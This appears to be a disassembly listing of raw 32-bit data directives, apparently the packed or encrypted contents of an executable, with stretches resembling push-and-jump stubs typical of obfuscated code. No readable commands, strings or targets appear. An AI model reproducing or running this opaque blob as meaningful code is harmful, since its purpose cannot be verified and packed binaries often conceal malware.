		dd 93EC5514h, 0BA77BB81h, 0CF6DCF8Ah, 49FD7F5h,	42ACE299h
		dd 0F5077014h, 5C11E51Ah, 804F2E0h, 4D1B0000h, 9F1C6C42h
		dd 13A89ACCh, 57C91982h, 97C2531Bh, 2B091BCEh, 8665B08Dh
		dd 0ABBFDC6Bh, 9FF8A5A2h, 226CCC67h, 57BEF3AAh,	0A1B74BA4h
		dd 0C774ACC4h, 13A8F834h, 25753956h, 4CD4E2A8h,	0F347B014h
		dd 6231FAFEh, 31971D5Dh, 0B200000Dh, 0E24B8DAh,	6B811535h
		dd 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h, 92B08AA0h
		dd 0F40AE8FEh
		dd 556D4A60h, 0E15E0EC1h, 13A8E21Ah, 56E473B8h,	5B296179h
		dd 0FC065F7Eh, 0BAAD40BDh, 3FB3925Ah, 99F20574h, 24601D61h
		dd 5BE58778h, 76450E0h,	0D2700000h, 0F8CDDFF3h,	42A08177h
		dd 0D9B25014h, 0D4B381B9h, 325567C0h, 61C54A5Dh, 61C8BD52h
		dd 0AD3BB808h, 0FB13A862h, 0C7A44292h, 0E8C15FAFh, 0E3F590C8h
		dd 885E7C1h, 13A99573h,	4A6476DFh, 6705556Dh, 995F718Bh
		dd 91E1CDC2h, 4D9B4E14h, 4FA30C14h, 62313CACh, 81FD83C3h
		dd 6200000Ch, 0BED4688Ah, 1B31C5E5h, 7B91253Fh,	0DEF4889Ch
		dd 7A53E703h, 0E400DB74h, 42603A50h, 0A4BA98AEh, 51DFA10h
		dd 910EBE71h, 13A8E3EAh, 56942368h, 73116179h, 0A9447C98h
		dd 2603D197h, 0CF98D60Eh, 0B3CBA897h, 0CDA7451Fh, 50DC77AFh
		dd 86215975h, 11669974h, 0CE30E05Ch, 42ACAA51h,	33BF2814h
		dd 8B2A3C58h, 17Fh, 617956B4h, 667E5B29h, 1996F8D2h, 1442A062h
		dd 527587F0h, 8321713Dh, 627C58A9h, 0FE368F2Ah,	0F6735163h
		dd 13A6B3F4h, 25431DBBh, 0BB983413h, 1F789670h,	0BBF34CE7h
		dd 0A6B46D0Eh, 9DC9DA13h, 4B6340DEh, 8B667813h,	0D8780974h
		dd 5DA68422h, 942F6781h, 5668033Bh, 2FB7h, 424DE000h, 1CBA1C6Ch
		dd 52ED2541h, 0A0FE8502h, 0F35C1442h, 0A922E8E1h, 87F013A6h
		dd 0A9D9A24Fh, 5D6E13A6h, 88A7529h, 0D24BD878h,	74000000h
		dd 29617956h, 5631805Bh, 2183C233h, 0C82114DFh,	2B04FB78h
		dd 69D21442h, 2D0AD810h, 320FDD15h, 99F20AE7h, 951005h
		dd 0C5A21442h, 95FA19ADh, 0EE4CC919h, 7D13A4F0h, 0D9B405DFh
		dd 91EA85BDh, 0CDACBE59h, 385831h, 0D6BD0565h, 0CE424EC0h
		dd 0AC872575h, 0C7A24090h, 617799ABh, 0EF166A86h, 946A18A7h
		dd 0B22CE54h, 0E9C10000h, 441D33C7h, 9E7A9024h,	0FBDAF084h
		dd 623D53E7h, 13D9B246h, 0AF435F3Ah, 0DA1BF99h,	6F0319F7h
		dd 0D0647C59h, 0BF06D1Dh, 0C713A8E4h, 2092F382h, 1080B247h
		dd 0E4FE10DFh, 4359ED09h, 9CFE4E66h, 4212581Fh,	0C6DEBB14h
		dd 32A2F38Eh, 0B05D4F00h, 0C1116A39h, 42AEBF44h, 0A0B21B14h
		dd 2906A47Eh, 2C3ED911h, 16F49257h, 1EFAC800h, 0D831CC04h
		dd 0C0CFACC6h, 42A0BC43h, 58B11A14h, 5D755220h,	520FBC9h
		dd 4D8A0000h, 0BA1C6C42h, 3A1C431Ch, 4B716BADh,	1BB6EE47h
		dd 0BF6A1009h, 7FE813A6h, 0AB50CD2Fh, 2713A6BFh, 39E6ACBEh
		dd 13A6BF46h, 0CB0F405h, 0D877F2F3h, 234E4h, 83770D00h
		dd 0D1442A0h, 5FDC2C82h, 13A8996Fh, 0CE6CBC25h,	2F45D9F1h
		dd 2B023A52h, 7DFA4A64h, 144C94A7h, 0E2FCD876h,	3488F1D0h
		dd 623237DBh, 2DF67CBCh, 0B600000Ah, 1228BCDEh,	6F851939h
		dd 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h, 96B48EA4h
		dd 0F80EEC02h, 59714E64h, 0E56212C5h, 13A8E51Eh, 56E877BCh
		dd 36542E79h, 0C90363FEh, 0E318C866h, 49174FA8h, 0DE1C546Ch
		dd 435736D4h, 6DD09431h, 0AE47890h, 5A423198h, 0BBCDD419h
		dd 5BC41FE0h, 19BB8E0h,	56E10000h, 5B296179h, 0F8D2667Eh
		dd 1EB21986h, 0FB0DFED1h, 0A7F7B7D8h, 0A660A02Ah, 4D85EE13h
		dd 25431DBBh, 47611A13h, 0D5E613A6h, 3612ED91h,	36C3D877h
		dd 0EC000000h, 0FE18F492h, 0F6192BC6h, 48C51599h, 13A6A982h
		dd 46EDE050h, 0AAD255A6h, 0A654562Dh, 429B0413h, 7B04B1E9h
		dd 0D013A654h, 28D787BFh, 0ADD8771Dh, 0ECh, 2E7956D6h
		dd 64FF3753h, 6149BB0Bh, 0F87FFCE9h, 561442C4h,	34F18DEDh
		dd 0A133F90Bh, 0D83DC23Fh, 30991442h, 0D29041Eh, 122A07D5h
		dd 172F0CDAh, 2B6855C7h, 86E606DFh, 0CADCABD0h,	0A0C2B3A8h
		dd 78551442h, 0E2ADCC60h, 3DE7CCCh, 214AFE7h, 0E189A724h
		dd 76D813A4h, 0A52E02F9h, 5567D013h, 1FBD0D76h,	0A2B92144h
		dd 99C9B1F4h, 0BF18300Dh, 1E3A152Bh, 18C94FCAh,	961C5C6Ah
		dd 8E0h, 75092B03h, 0D266865Fh,	32C6E0BCh, 95293D1Ch, 0F488A47Fh
		dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h,	0AF5F12A6h
		dd 0A8E64D32h, 35C40913h, 6687B56h, 42A0F289h, 8CF76014h
		dd 1442A0F7h, 946EFA63h, 5BCD1D76h, 0A8837DD4h,	7A9CAE47h
		dd 73632EA0h, 96752DB8h, 0ADE076BBh, 2146D7Ah, 5FF30BE8h
		dd 0EF0DE785h, 350A1CB7h, 29617956h, 0B9973597h, 0A04338A3h
		dd 0A60F1442h, 7E9D7A94h, 33C5747h, 0BA377432h,	0DA7EAA18h
		dd 76D82881h, 420302F9h, 0AF54D114h, 2B144203h,	0F60871C2h
		dd 825CFAD4h, 43C5431h,	2CFE1069h, 2B6h, 6C424DBBh, 0D4D8AA1Ch
		dd 864F3C25h, 0F507B026h, 0C7D9BCEFh, 45DE6CE9h, 238C13A8h
		dd 0B9BD3EEBh, 0F90A13A9h, 2FAC0E4Dh, 13A9B948h, 0B08B9D06h
		dd 0D870F84Fh, 956AE749h, 4113A9B5h, 576F4CD8h,	0D372841Fh
		dd 22Eh, 627655F3h, 83777B50h, 0D1442A0h, 3EDC2C82h, 5B394B5Fh
		dd 677D5BF9h, 9AE65C55h, 0B7413A8h, 27DC59BBh, 0B413A89Ah
		dd 0A89A4037h, 54A50E13h, 6B7C8BEBh, 8827728Bh,	1DFA9876h
		dd 0F9977105h, 0EA910E1Bh, 6813A8F8h, 0D36EA6FFh, 0B2CAA7C1h
		dd 0CBECA37Ah, 0A8F8A94Eh, 63BC2513h, 3513B113h, 4E140D1Fh
		dd 0C144CF6h, 19D44FA3h, 0ABEB6232h, 77325h, 76987000h
		dd 0D3F3CCE2h, 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h
		dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh,	0E8D89F1Ch
		dd 317613A8h, 617956A2h, 667E5B29h, 809E7816h, 0D59BAD48h
		dd 0AE2B8D97h, 1442A0C9h, 6D0A1C85h, 51694639h,	1119E6BDh
		dd 5FBEE05Ch, 0DE000001h, 3861936Ch, 0D3E0405Eh, 0AC819397h
		dd 29617956h, 0D2667E5Bh, 82D2DCB3h, 0B4EC0AE4h, 0AC290719h
		dd 13A6B322h, 22CF0770h, 13A6B459h, 0F2A9DDEEh,	0B46C1390h
		dd 81EA13A6h, 96B946Fh,	376CD878h, 95000000h, 1C6C424Dh
		dd 24DB58BAh, 0B21442A0h, 877CF949h, 531442A0h,	29DFD8EAh
		dd 0E713A6A9h, 16B4467Eh, 120B1D3Dh, 13A6A969h,	0E599CDDEh
		dd 0D878081Ah, 0CABBh, 7956E400h, 0E23B4F2Eh, 0E501DCAAh
		dd 0B702DFADh, 3068C1DBh, 0BB642C9Eh, 97ED34B5h, 23831B55h
		dd 0DEF017AAh, 0C09CE7C4h, 0DFB94DA6h, 11B43E6Dh, 0C2C411A9h
		dd 0D0EA4AD2h, 63AB9DD8h, 0AF6FF3DEh, 0AA4B4456h, 0FD14425Eh
		dd 56B80820h, 425E22D9h, 3547B014h, 0C09B3913h,	206F92A4h
		dd 2D657F5Bh, 126B815Fh, 4EEC69B9h, 1C13A4B9h, 0EAC563B3h
		dd 49243ACEh, 37E9F226h, 8EE76E79h, 193AF33Ah, 1AA0E06Ah
		dd 618h, 3DD1F3CBh, 9A2E4E27h, 0FA8EA884h, 5DF105E4h, 0BC506C47h
		dd 69441DE3h, 0C9A3B94Dh, 230117ABh, 8663790Dh,	7727DA6Eh
		dd 0A8E905FAh, 0FD8CD113h, 0CB5F7B56h, 70C0D8B5h, 0CADCF6D2h
		dd 5230CEA8h, 56552A3Ch, 5B296179h, 0DF26F7Eh, 0C91442A0h
		dd 1394F2Dh, 20B40D66h,	4152h, 7956E100h, 7E5B2961h, 99781666h
		dd 0DC4BE77Eh, 0F34C3C94h, 3AB71BE1h, 0D2B14F0Ah, 6BE486BEh
		dd 0C6462CA6h, 1933459Eh, 0D6731D3Ch, 4C1400A6h, 23855FF3h
		dd 42D5D1A6h, 2147D14h,	1930h, 7956BF00h, 0D8A02B5Ah, 348D88DDh
		dd 99AD4FFCh, 0FF281442h, 0E3FBD847h, 79567E4Fh, 99731161h
		dd 58A8437Bh, 42A024DBh, 3749B214h, 6741DF71h, 7B143749h
		dd 0C466E333h, 8A13A89Ah, 0FD6FD121h, 0FD63BE70h, 3F0DBC52h
		dd 0BF72585h, 3236CD4Ah, 3BA413A8h, 0D9B6D0E2h,	3A172DC1h
		dd 0B25F831Bh, 0C11AADB6h, 0D1DDB289h, 0BCDD0481h
		dd 1C7E1442h, 96FED89Fh, 0FB0D761Bh, 0C563B31Ch, 0E1BFD1E7h
		dd 0FE4E6643h, 0FE581F9Ch, 8DF61B96h, 6643597Bh, 8160FE4Eh
		dd 0BE955B6Dh, 108DDDD1h, 1C72E9B2h, 340357C0h,	0B35A480Ah
		dd 4CEED73h, 3D150000h,	9871871Bh, 0F2CEE478h, 4F2E44D8h
		dd 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh,	0C3576D4Bh
		dd 24B8D0ADh, 0BF44C171h, 1B13A8EAh, 795647D6h,	0DAB7CD61h
		dd 931072C2h, 1442A0ECh, 29EF016Ah, 0C3B83597h,	8F1442A0h
		dd 1DFA1426h, 569A61FEh, 0B390DB17h, 6FC8639Bh,	96A0DE16h
		dd 0CD0519F8h, 0C3832032h, 0D3677F5Ch, 687C5BF9h, 93847B56h
		dd 7412E05Bh, 0CF6E8096h, 44h, 6C424DF8h, 0EF3B9F1Ch, 0F05913A6h
		dd 0E2402A0h, 0F0F8857Ah, 421F13A6h, 0A280962Ah, 21161E85h
		dd 9CF54AB3h, 0C2D1AE4Ch, 0A687BE45h, 5AB31C13h, 7D0E90FAh
		dd 618771Eh, 3310AE40h,	0D37091Bh, 0C6000004h, 0CCB33092h
		dd 8A1442A0h, 18F50F21h, 3812B000h, 0B042081Ah,	0D1F3312h
		dd 6AFE16F3h, 0F673444Bh, 1442A001h, 0BB0B64CDh, 0A6B34C3Eh
		dd 49990213h, 0A3B5CFABh, 0B44F30DDh, 0EBFC13A6h, 886200BBh
		dd 827D586Ah, 53D87809h, 5Bh, 6C424D7Ch, 7FA47E1Ch, 0CA1DDC26h
		dd 1FAB04C2h, 56F12943h, 23E96644h, 0F213A642h,	4F617554h
		dd 22CF0770h, 13A65459h, 34BAE1BAh, 1112A1B8h, 0F5C3FB54h
		dd 36C80018h, 0A664C2B9h, 0B2279013h, 8FE7ABDBh, 6996C67Eh
		dd 2FD8774Dh, 68AB50CDh, 0BE2713A6h, 0AF0DACh, 56360000h
		dd 0AF116179h, 0E41C3411h, 0A019DE49h, 4CB51442h, 0CBA6743Ah
		dd 0CCA977AFh, 0EAC664B4h, 6FA7C19Dh, 0A8437BD4h, 0A024DB58h
		dd 49B21442h, 0C6A37137h, 4C84A07Bh, 0CFC458B1h, 1442A4C6h
		dd 0C85C7451h, 85BDD5B2h, 7DCDE1AEh, 0A6AA9200h, 0C357C013h
		dd 53714BE9h, 3D711E41h, 59D870EDh, 319A1440h, 4C6843E1h
		dd 0ABC7A2B8h, 3581EA57h, 4BD11162h, 2F0h, 65F91BF3h, 0C256764Fh
		dd 22B6D0ACh, 85192D0Ch, 0E478946Fh, 916CE50Bh,	0F1CBE175h
		dd 4B293FD3h, 0AE8BA135h, 9F4F0296h, 0A8EC5D22h, 25B4F913h
		dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 8B9F7E1Ch,	0C8A6B853h
		dd 0A6A9854Bh, 0D7B65413h, 0DEF08BC3h, 0B15E96FFh, 13A6A9CEh
		dd 0A8B92B7Dh, 0B55413CEh, 9BCB687Ah, 772A1CE3h, 0DBB9D8h
		dd 3BD90000h, 5B304262h, 29617956h, 1464805Bh, 4A829876h
		dd 45D79DAFh, 0A09166E3h, 0D43D1442h, 0A4DCC9C2h, 15871442h
		dd 9DD0E0ADh, 112B3D3Dh, 72881C34h, 6E457D95h, 0C03D8D21h
		dd 13A6D1D2h, 65C71780h, 0A62D13E8h, 4456BF13h,	228C0322h
		dd 0CB5255D2h, 83211440h, 0BD5890A4h, 1363CCABh, 7DDD4FB1h
		dd 17A230E5h, 80E09702h, 56E1B89h, 0E2FED9F3h, 0FCD6744Eh
		dd 0F90BA6DEh, 94E804DFh, 62355FB7h, 0F9921858h, 0EA000001h
		dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh
		dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h,	199646F9h
		dd 13A8ED62h, 561CABF0h, 0F1CB5F7Bh, 4C5E7653h,	0F8365532h
		dd 39573198h, 29A177D9h, 8E280D0h, 6A805EEAh, 63859732h
		dd 61795692h, 1EF99729h, 0FD940EFBh, 0B009B60Fh, 108DDD78h
		dd 1442EC6Bh, 526C7EE7h, 0B3C95D75h, 0AF86BED6h, 1C7ECEE0h
		dd 118EA57Eh, 1442EC6Ah, 14267FE8h, 0A6F5F11Bh,	0DE167F13h
		dd 65145027h, 4FD970F3h, 65687B8h, 0A69CF289h, 0E5F76013h
		dd 0C5A3EECBh, 68E577AFh, 13A69C93h, 247DD63Fh,	891E7190h
		dd 9DE1B1D6h, 0B6065FFFh, 42791F39h, 0C4FC6514h, 2EFA19F6h
		dd 0D61C1B56h, 37A9F952h, 6A3E00D7h, 0ED4E661h,	0FD792DAAh
		dd 0F30DE992h, 6BCD4A9Ah, 0F91C6ED8h, 9E6FC90h,	0B527B9F1h
		dd 3C6DFD0Ah, 0EA0416C4h, 7BEF60Ch, 0E3457430h,	0EEBF9166h
		dd 0C2A13D03h, 294355AEh, 81A0344Ch, 0D350A00Eh, 40AA6B9h
		dd 0C896CE37h, 0AAC4A0EBh, 8B621951h, 2402A0DBh, 0EB3BD60Eh
		dd 0D298896Eh, 0CADC450Bh, 0B993E8A7h, 0BC95639Bh, 9AEA439Ch
		dd 3681F31Dh, 8220820Ch, 5C238EA4h, 0BF3336F1h,	0F994CCE0h
		dd 4E2D3FA8h, 157751E5h, 36F1E398h, 0F9D36F33h,	4D7082DBh
		dd 9F1C6C42h, 34DCC87Eh, 0A573AB14h, 85A37DC8h,	0AD061AF9h
		dd 0E260319h, 5ED729D6h, 69420051h, 69431149h, 0CD5134Bh
		dd 0DFA42158h, 7B7EEEA0h, 0D997B912h, 0E343613Bh, 513C5F7Dh
		dd 1AB7C9E8h, 0CB16F36Ah, 0E579D2F2h, 0C9A7F2CFh, 558DA180h
		dd 8E2961BAh, 0CD6BFD35h, 0ABC5D7F1h, 0B280B8CCh, 0B583BBD7h
		dd 0B249C6DBh, 207EEEB5h, 0E7265EB7h, 0B72C6420h, 0DCB9A4E0h
		dd 3D1A30C4h, 0D67ED25h, 0F6000000h, 0CCB33092h, 8A1442A0h
		dd 0DD2C0F21h, 245C7E56h, 29617956h, 2F677D5Bh,	31698761h
		dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
		dd 0E38953EEh, 4C381h, 0B9510000h, 4, 8759CB29h, 685C241Ch
		dd 61ADh, 68241489h, 7DBCh, 68242C89h, 7EA3B2Dh, 8124148Bh
		dd 4C4h, 2C8B5400h, 4C48324h, 762C68h, 24148900h, 8B08458Fh
		dd 8956242Ch, 4C681E6h,	83000000h, 348704C6h, 148B5C24h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FA2DD6E9h
		dd 593272FFh, 4FB2B896h, 0C50307EAh, 81EDE0FFh,	0A44465CDh
		dd 6EEB265Dh, 0AFB52EDBh, 49716F69h, 4E82466h, 0C5343C55h
		dd 4B1E6FCFh, 60B345A7h, 1F6D1FC9h, 8DED63C9h, 48A859A8h
		dd 794879BBh, 7167D80h,	0A11A4353h, 692E6648h, 0E1E26348h
		dd 66F97CA0h, 0E0644DD6h, 6E8B4ADFh, 49B31C4Ah,	3A4868F9h
		dd 0AABB004Eh, 30BA4FB2h, 0B49349BFh, 0CFDD2FA4h, 0E8581868h
		dd 0DA9B41CBh, 0F4DE1EB5h, 869537D0h, 0A179021Eh, 80840B0Dh
		dd 0FE80A0Eh, 2A000000h, 8B46BCE4h, 9C57D05h, 0A461AFC0h
		dd 0F280FA0Ah, 0DE85E63h, 3A000000h, 0FADD264h,	0E08A65F3h
		dd 53A1B12h, 0A957BF66h, 2AC6815Fh, 0E900005Ch,	11h, 9333D2DAh
		dd 6E016CA4h, 7225EAB7h, 0DEB38189h, 5548B8BDh,	0C08131B7h
		dd 0CE48C190h, 0FFFE8B66h, 815BFC36h, 0F45255EBh, 0CA816656h
		dd 0EB818999h, 544FEDF5h, 11E9h, 848B3700h, 563E9C10h
		dd 3B703CEFh, 4751861Dh, 0EB81FDC0h, 35E7DB23h,	3BAFCF81h
		dd 1E892B8Eh, 0EE81FA8Bh, 6D12AE32h, 0CE9h, 1943A700h
		dd 67DDF04Ch, 0A20060D1h, 2EC68164h, 606D12AEh,	0DFE68057h
		dd 6870F5Eh, 81000000h,	86C8AFF2h, 0E8836131h, 8C850F01h
		dd 60FFFFFFh, 0F238BA66h, 0A7E961h, 11F50000h, 0CC470DBEh
		dd 38F3BAF5h, 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h
		dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h,	0BD897D60h
		dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h
		dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h
		dd 0DB4D5200h, 5EF357h,	9DBBEFB6h, 9500BD89h, 0EFB69F89h
		dd 0D00097BBh, 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h
		dd 0Ah dup(0)
		dd 1005E900h, 0FC680000h, 0E907EA53h, 0FFFA2BBBh, 0EA550268h
		dd 2BB1E907h, 0D468FFFAh, 0E907EA55h, 0FFFA2BA7h, 0EA56F468h
		dd 2B9DE907h, 8968FFFAh, 0E907EA57h, 0FFFA2B93h, 0EA582268h
		dd 2B89E907h, 0C068FFFAh, 0E907EA58h, 0FFFA2B7Fh, 0EA596B68h
		dd 2B75E907h, 1A68FFFAh, 0E907EA5Ah, 0FFFA2B6Bh, 0EA5B1368h
		dd 2B61E907h, 0E268FFFAh, 0E907EA5Bh, 0FFFA2B57h, 0EA5D4368h
		dd 2B4DE907h, 9A68FFFAh, 0E907EA5Fh, 0FFFA2B43h, 0EA608D68h
		dd 2B39E907h, 4119FFFAh, 9C758B1Fh, 0F6D2E87Ch,	533248DCh
		dd 0BA95AB3Fh, 0CB310A9Eh, 79BB792h, 65F917F1h,	0C75B714Fh
		dd 28BCD4B1h, 0B348C575h, 1F13A8F2h, 20924BDAh,	0E03ADC01h
		dd 2842546Fh, 2DFB334Bh, 0C2C0550h, 4CE039D4h, 0D855622Dh
		dd 14423623h, 9DED46AFh, 1555C62Bh, 54E0CAB6h, 704E6076h
		dd 0A68EF9F3h, 3D1BB713h, 0FB54EF27h, 0B59331C3h, 0EB948D9Fh
		dd 6013A6F1h, 4794700Eh, 0E3F54E6Eh, 0A15E1E46h, 36D877CCh
		dd 29h,	6C424D5Fh, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h, 142513A6h
		dd 7D32C50h, 0D004D878h, 24000000h, 3B00DEB2h, 6B7D4607h
		dd 0B3309296h, 1442A0CCh, 556764Fh, 93708A9Ch, 0A0700784h
		dd 75DE1442h, 0B452E41Ch, 0EA85BDD9h, 0C7E3BED8h, 0CCE4C18Fh
		dd 0DAE9C694h, 42A0A65Dh, 72CB3414h, 0A4FDE9DEh, 0AA81442h
		dd 40DB132Fh, 87BFD7B4h, 0E3C0DAECh, 442137CBh,	721DF42Ch
		dd 0F56FEC3Ch, 0BB13A6B1h, 0F09FBE52h, 6E0C6EBEh, 6B647694h
		dd 14405360h, 375C52Eh,	0F8126113h, 2C0A1CE4h, 397B38Eh
		dd 0A2F612EDh, 623571BDh, 93B43A7Ah, 5200000Dh,	0AEC4587Ah
		dd 0B21B5D5h, 6B81152Fh, 0CEE4788Ch, 6A43D7F3h,	0D4F0CB84h
		dd 32502A40h, 94AA889Eh, 0F50DEA00h, 81FEAE61h,	13A8F3FAh
		dd 92841358h, 0C7FF17F4h, 25001A2Ch, 825F7509h,	4D05D66Ah
		dd 0BA1C6C42h, 13F2411Ch, 9B94A6FFh, 13A6A9D5h,	78EA3AA3h
		dd 5A2E3145h, 0DEA4B675h, 2669DA4Ch, 93F30FEAh,	9C28A202h
		dd 0D06BA3C3h, 0BD3AC5BEh, 809113A6h, 0F46798C4h, 0CE70D877h
		dd 90000000h, 860318F2h, 13A6B1F1h, 899BF45Dh, 5A7956B4h
		dd 0FC325585h, 0CF076062h, 0FAD72601h, 0B60FAAE2h, 0D9C5D17Eh
		dd 77541442h, 0D8B5CB5Fh, 0F9D270C0h, 0F406A1D9h, 7638572Eh
		dd 35AFA926h, 59F513A6h, 0BD0D667Ah, 3619DE5Bh,	4CB513A6h
		dd 96F9183Ah, 5AA13F11h, 0BE4AEF96h, 0F48FC7E3h, 0F2CE4B9Bh
		dd 801440BEh, 4E29C717h, 4B73FC2Bh, 0AD06AA70h,	0D9280319h
		dd 11ACE4FCh, 1E0564B8h, 6466235h, 0C8D80h, 5E805800h
		dd 0BBDBB4CAh, 1B351127h, 7E927187h, 0DDF9D4EAh, 0D18A7049h
		dd 3046DAF6h, 8EA43856h, 0F0069AB0h, 0B467FB13h, 0F5F08704h
		dd 195E13A8h, 5F7B568Ah, 0C9D8B5CBh, 42A0B74Ch,	5ABA2314h
		dd 4C8205D5h, 63F75083h, 61795692h, 667E5B29h, 0C6E0BCD2h
		dd 0CBE3C08Eh, 499F1037h, 3D5B3546h, 0C1116A05h, 0A68C9644h
		dd 0D2DB4413h, 2CBD35C7h, 763857E4h, 0E05FA926h, 9C05ECC8h
		dd 7560D264h, 46C02E54h, 0A8E70A1Ch, 0EBED920Fh, 0ED6A1310h
		dd 1310EB16h, 0A10A5BC4h, 1996F848h, 1310EB62h,	0EB8F74F1h
		dd 0E24B1310h, 38162891h, 0F75B67BBh, 7CCC3514h, 0D7B601DEh
		dd 0A81A6AC3h, 0B6A03157h, 0C2E4F606h, 63B7CFACh, 62C6CB10h
		dd 0BB890F4Fh, 2A00000Bh, 869C3052h, 0E3F98DADh, 4359ED07h
		dd 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh, 0A280218h, 6C826076h
		dd 0CDE5C2D8h, 59D68639h, 13A8F5A2h, 565CEB30h,	52296179h
		dd 0A421713Dh, 13A68CEEh, 1C3210ACh, 5CF049E4h,	0EB0BE482h
		dd 0D5D9B6D9h, 0A8820885h, 67D01442h, 0F3F9822Fh, 3D4E1B8Ah
		dd 0BEAA5509h, 3F2BD093h, 54000000h, 1C6C424Dh,	0A6EF3B9Fh
		dd 9CE95913h, 485C3BC8h, 7528A5E8h, 0B9F10FE9h,	0D775C51Eh
		dd 103BDCF9h, 100A38ECh, 4F2E23B7h, 0C813A690h,	293FD3EBh
		dd 0A28024Bh, 0A6DE37D2h, 0B1520h, 424DAF00h, 0DC9F1C6Ch
		dd 7213A8F2h, 0F2EE9512h, 0D06C13A8h, 0AA5DDF1h, 6A0858B1h
		dd 7E1758Dh, 83996095h,	0E874256Eh, 1CB7EF0Fh, 0FB13F00Ah
		dd 0BA3ECC3h, 0E3323EBBh, 37A01442h, 216C49E7h,	41D52E42h
		dd 0F3880567h, 5F1B96C4h, 98D0E4C3h, 3E18A4FDh,	17F40E20h
		dd 9FF0C7FFh, 0BF5DBF0Fh, 5E3CC8E4h, 63751048h,	72D34C6Ah
		dd 5DB11A1Ch, 5A481B20h, 9B8D1353h, 4A00000Ah, 0A6BC5072h
		dd 319ADCDh, 63790D27h,	0C6DC7084h, 623BCFEBh, 0CCE8C39Ch
		dd 2A482238h, 8CA28096h, 0ED05E2F8h, 79F6A659h,	13A8F682h
		dd 927C0B50h, 0A0CCB330h, 0AC7B1442h, 0D7059BDDh, 6F81EA3Bh
		dd 42A48576h, 248A0514h, 3E5C36D4h, 7B596B06h, 0A8F5EAFEh
		dd 95076913h, 39282805h, 591E8920h, 0F513A895h,	329B7A8Ch
		dd 4F6744E2h, 0B0C8A5BBh, 0C0EEA178h, 0B93DF370h, 8AFC144Ch
		dd 24C618B9h, 4A24B0B4h, 0D23B1A2Ch, 31BB097Eh,	0B83E7E62h
		dd 0A06h, 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h
		dd 0D064805Bh, 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h
		dd 8B3BEE82h, 0A8F7690Eh, 11A0E513h, 29617956h,	5D412597h
		dd 52684A84h, 31492640h, 496443E1h, 32DA984Fh, 558DE6C7h
		dd 9EE2A8BAh, 6F9A5E1h,	0CFE05B6Ah, 494h, 15F492F8h, 1C2EC901h
		dd 0C81896F9h, 0A8F1134Bh, 858C113h, 0E1758D6Ah, 0CAA3EECBh
		dd 7ED772AAh, 0F2E69946h, 672813A8h, 0B47AF747h, 82144CDEh
		dd 18CCC519h, 8FCF6232h, 96D09h, 7EA07800h, 0DBFBD4EAh
		dd 3B553147h, 9EB291A7h, 0FD19F40Ah, 0F16A9069h, 5066FA16h
		dd 0AEC45876h, 1026BAD0h, 0D4871B33h, 0F8D0A724h, 397E13A8h
		dd 617956AAh, 667E5B29h, 792DEA2Eh, 9C63E042h, 3A1442A0h
		dd 1BE4BFD1h, 0BCE05C1Dh, 408h,	0A08477E5h, 89061442h
		dd 7E58D525h, 413A8F1h,	0D0AD4B9Bh, 0AC4A24B8h,	8DA7B9CDh
		dd 5F24A1B0h, 0FB13A8F2h, 3EC54292h, 9C13A8F2h,	10A2DA33h
		dd 93A45E9Eh, 3B4D8927h, 0E7377718h, 4C00A46Ah,	0B5097214h
		dd 6231DEE6h, 0CF0389C9h, 16000008h, 72881C3Eh,	0CFE57999h
		dd 2F45D9F3h, 92A83C50h, 2E079BB7h, 98B48FC8h, 0F614EE04h
		dd 586E4C62h, 0B9D1AEC4h, 45C27225h, 13A8F8BEh,	5648D71Ch
		dd 97296179h, 0FAF6B725h, 2BA8D4ABh, 14429154h,	2E409902h
		dd 0E71F3714h, 0FEBEE6A3h, 0E05BED01h, 363D6h, 8277FF00h
		dd 0C1442A0h, 5EDB2B83h, 13A8F17Fh, 80E6A214h, 73EF2D23h
		dd 0C9198261h, 192F4E2Bh, 7C038062h, 0DA13A88Eh, 23161171h
		dd 354BDF38h, 52F04058h, 8B265E74h, 0D40C20FFh,	8A612739h
		dd 0DC59A905h, 144C5706h, 8E176BD4h, 35623190h,	8246FF5h
		dd 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h, 623D53E7h
		dd 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h,	0D0647C59h
		dd 0BF06D1Dh, 0C713A8F9h, 0F492F382h, 0D0EAFC1Ah, 0D5A3DBF3h
		dd 6AA8E0F8h, 9D7AE5A1h, 0F5F7352h, 42A0ED92h, 0A7006914h
		dd 11C33C13h, 714E05Ch,	3D000000h, 2AF9Eh, 82772D00h, 0C1442A0h
		dd 79DB2B83h, 0AAE202DBh, 949E8B08h, 0D52E8606h, 0C2D8CAC3h
		dd 1D8613A8h, 3A522FCDh, 9BB390A6h, 0F26FD163h,	13A8240Dh
		dd 2B4E60C9h, 98FA4A64h, 0C90121FAh, 7D231C2Eh,	1B144C2Ah
		dd 5515EB2h, 46866232h,	775C0h,	76987000h, 0D3F3CCE2h
		dd 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h
		dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh,	0FAD89F1Ch
		dd 317613A8h, 1BF492A2h, 3821C3FBh, 23497398h, 0AAC4D62Fh
		dd 0D7D1AECDh, 2F4EE326h, 0F3D09ED6h, 0F4198BDBh, 0BAB01F54h
